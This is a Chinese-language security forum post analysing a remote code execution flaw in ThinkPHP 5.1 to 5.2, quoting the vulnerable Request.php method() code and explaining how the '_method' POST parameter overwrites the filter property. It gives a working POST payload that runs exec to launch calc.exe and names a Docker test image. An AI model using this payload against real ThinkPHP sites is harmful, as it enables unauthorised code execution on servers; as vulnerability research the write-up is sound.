資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|anzei.cn|我的開發(fā)技術(shù)隨記

 找回密碼
 注冊成為正式會員
查看: 1406|回復(fù): 0
打印 上一主題 下一主題

[網(wǎng)絡(luò)安全/滲透測試] Thinkphp5.1 ~ 5.2 全版本代碼執(zhí)行

[復(fù)制鏈接]

184

主題

347

帖子

14

精華

資源共享吧豪華貴族SVIP

Rank: 9Rank: 9Rank: 9

資源幣
18816
積分
3920
貢獻
1368
在線時間
1084 小時
注冊時間
2015-4-18
最后登錄
2020-2-22

終身成就常駐居民幽默大師灌水大師原創(chuàng)先鋒精華會員資源共享吧女神宣傳大使愛心大使

跳轉(zhuǎn)到指定樓層
樓主
發(fā)表于 2019-5-20 14:37:04 | 只看該作者 |只看大圖 回帖獎勵 |倒序瀏覽 |閱讀模式
Thinkphp5.1 ~ 5.2 全版本代碼執(zhí)行

序言
最近爆出了Thinkphp5.0.*全版本代碼執(zhí)行,其中5.1與5.2全版本在生產(chǎn)環(huán)境下下同樣也存在代碼執(zhí)行
漏洞分析:
文件位置:\thinkphp\library\think\Request.php



/**
     * 當(dāng)前的請求類型
     * @access public
     * @param  bool $origin  是否獲取原始請求類型
     * @return string
     */
    public function method($origin = false)
    {
        if ($origin) {
            // 獲取原始請求類型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
            if (isset($_POST[$this->config['var_method']])) {
                $this->method    = strtoupper($_POST[$this->config['var_method']]);
                $method          = strtolower($this->method);
                $this->{$method} = $_POST;
            } elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
                $this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE'));
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }
        return $this->method;
    }


其中:
$this->method    = strtoupper($_POST[$this->config['var_method']]);
$method          = strtolower($this->method);
$this->{$method} = $_POST;



$method變量是$this->method,其同等于POST的”_method”參數(shù)值
然后該處存在一個變量覆蓋
我們可以覆蓋 $filter 屬性值(POC如下)


c=exec&f=calc.exe&&_method=filter&


訪問如下圖所示:


會爆出一個警告級別的異常,導(dǎo)致程序終止
如何觸發(fā):
如果設(shè)置忽略異常提示,如下圖:




本身項目發(fā)布就需要屏蔽異常和錯誤所以這個配置是一個正常的配置
Payload(POST請求):
彈出計算器



Docker鏡像:
docker push 0day5/thinkphp5-1-5-2-rec




回復(fù)

使用道具 舉報

 點擊右側(cè)快捷回復(fù)  

本版積分規(guī)則

小黑屋|資源共享吧 ( 瓊ICP備2023000410號-1 )

GMT+8, 2024-10-23 07:31 , Processed in 0.040046 second(s), 15 queries , MemCached On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2021, Tencent Cloud.

快速回復(fù) 返回頂部 返回列表